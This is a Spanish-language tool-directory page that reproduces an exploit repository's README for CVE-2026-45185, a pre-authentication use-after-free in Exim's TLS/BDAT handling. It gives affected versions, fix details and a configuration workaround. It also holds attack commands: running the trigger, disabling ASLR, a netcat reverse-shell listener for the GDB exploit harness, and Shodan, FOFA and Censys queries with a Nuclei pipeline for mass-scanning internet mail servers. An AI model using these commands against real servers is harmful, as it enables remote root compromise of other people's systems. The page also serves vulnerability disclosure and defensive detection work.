Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-45185 — Explota un uso después de liberación crítico de heap previo a la autenticación en Exim mediante close_notify de TLS para obtener root remoto; incluye un harness de laboratorio GDB y una plantilla de detección de Nuclei. | Kitploit
Herramientas/GitHubGitHub/0init/cve-2026-45185
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHub0init/cve-2026-45185

CVE-2026-45185

Explota un uso después de liberación crítico de heap previo a la autenticación en Exim mediante close_notify de TLS para obtener root remoto; incluye un harness de laboratorio GDB y una plantilla de detección de Nuclei.

Ver Repositorio
hace 13 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-45185 — Dead.Letter: UAF de heap en Exim a root remoto

CVSS 9.8 Crítico | Exim 4.97–4.99.2 | Compilaciones de Ubuntu / GnuTLS | Sin autenticación

Informe completo con traza de GDB, análisis paso a paso y datos de exposición global:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html


Qué es

Enviar una alerta TLS close_notify mientras Exim está en medio de una transferencia de cuerpo BDAT hace que tls_close() llame a gnutls_deinit(), liberando la estructura gnutls_session_int de 7.304 bytes. La capa de recepción BDAT mantiene un puntero obsoleto. Cuando se reanuda el bucle de lectura del cuerpo, tls_getbuf → gnutls_record_recv desreferencia la sesión liberada — use-after-free de heap previo a la autenticación, sin necesidad de credenciales.

Corregido en Exim 4.99.3.


Afectados

CondiciónRequerido
Versión de Exim4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2
CompilaciónUbuntu / Debian con GnuTLS (libgnutls28-dev)
CaracterísticaCHUNKING anunciado en EHLO (activado por defecto)

Alpine Linux y Exim compilado manualmente enlazado contra OpenSSL no están afectados.


Archivos


poc.py — Disparador de UAF

root@kitploit:~
python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

Si el servidor sigue vivo después del disparador, la ruta del UAF existe. Si se bloquea, algo ha cambiado en el comportamiento de tcache.


diag19_gdb.py — Harness de GDB (solo laboratorio)

Configuración del laboratorio Docker (5 minutos)

root@kitploit:~
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

Antes de ejecutar: edita CMD en diag19_gdb.py para que apunte a la IP de tu listener.
La dirección de SYSTEM se resuelve dinámicamente al cargar — no se necesita búsqueda manual.
Las dos direcciones dentro de PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) son internas de Exim y deben coincidir con tu compilación:

root@kitploit:~
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — Detección con Nuclei

root@kitploit:~
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Lógica de detección

La plantilla ejecuta dos etapas independientes:

  1. Fingerprint EHLO — envía EHLO y verifica las tres condiciones requeridas:

    • Regex de versión 4.97–4.99.2
    • Ubuntu en el banner (vinculación con GnuTLS confirmada)
    • CHUNKING en las capacidades
  2. Sonda BDAT — envía BDAT 200 sin RCPT TO y busca el 503 específico de Exim:

    root@kitploit:~
    503 valid RCPT command must precede BDAT
    

Consultas de escaneo masivo

root@kitploit:~
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

Remediación

Actualiza a Exim 4.99.3 o posterior (parche oficial).

Solución alternativa (sin ruta de explotación, no requiere reinicio para probar):

root@kitploit:~
# exim4.conf
chunking_advertise_hosts = !*

Luego service exim4 restart.


Cronología

FechaEvento
2026-06-10CVE asignado por XBOW
2026-06-24Aviso público publicado
2026-08-07RCE de laboratorio confirmado; publicado este informe + PoC

Referencias

  • Informe: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
  • Aviso de XBOW: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

por @0Init

Descargar herramienta
ArchivoPropósito
poc.pyDisparador de UAF — solo librería estándar, sin pip. Seguro de ejecutar contra tus propios servidores. Alcanza la ruta del UAF y se detiene (sin payload).
diag19_gdb.pyHarness de explotación para GDB — 7 puntos de interrupción, escribe system() en el chunk liberado tras el retorno de gnutls_deinit(). Solo laboratorio (requiere ASLR desactivado + versiones de librerías coincidentes).
CVE-2026-45185.yamlPlantilla de Nuclei — detecta las tres precondiciones mediante fingerprint EHLO + sonda BDAT. Detección segura, de solo lectura.